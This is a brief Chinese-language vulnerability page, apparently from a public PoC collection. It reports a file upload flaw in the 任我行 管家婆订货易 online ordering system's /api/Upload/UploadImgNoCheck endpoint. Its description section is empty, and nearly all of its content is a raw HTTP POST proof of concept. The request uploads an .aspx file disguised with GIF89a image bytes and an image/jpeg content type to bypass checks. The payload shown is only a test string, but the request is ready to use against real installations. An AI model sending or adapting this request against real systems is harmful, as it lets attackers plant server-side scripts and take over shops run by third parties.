任我行 管家婆订货易在线订货商城系统 /api/Upload/UploadImgNoCheck 存在文件上传漏洞

日期: 2024-11-29 | 影响软件: 任我行 算法软件 | POC: 已公开

漏洞描述

PoC代码

POST /api/Upload/UploadImgNoCheck?m_server_name=ShopUserImg HTTP/1.1
Host: 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 195
Content-Type: multipart/form-data; boundary=9463d22c3a07c1abba99eba6b392cc91
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/[REDACTED] Safari/537.36

--9463d22c3a07c1abba99eba6b392cc91
Content-Disposition: form-data; name="Filedata"; filename="bpor8tnhz9.aspx"
Content-Type: image/jpeg

GIF89a
testxep
--9463d22c3a07c1abba99eba6b392cc91--

相关漏洞推荐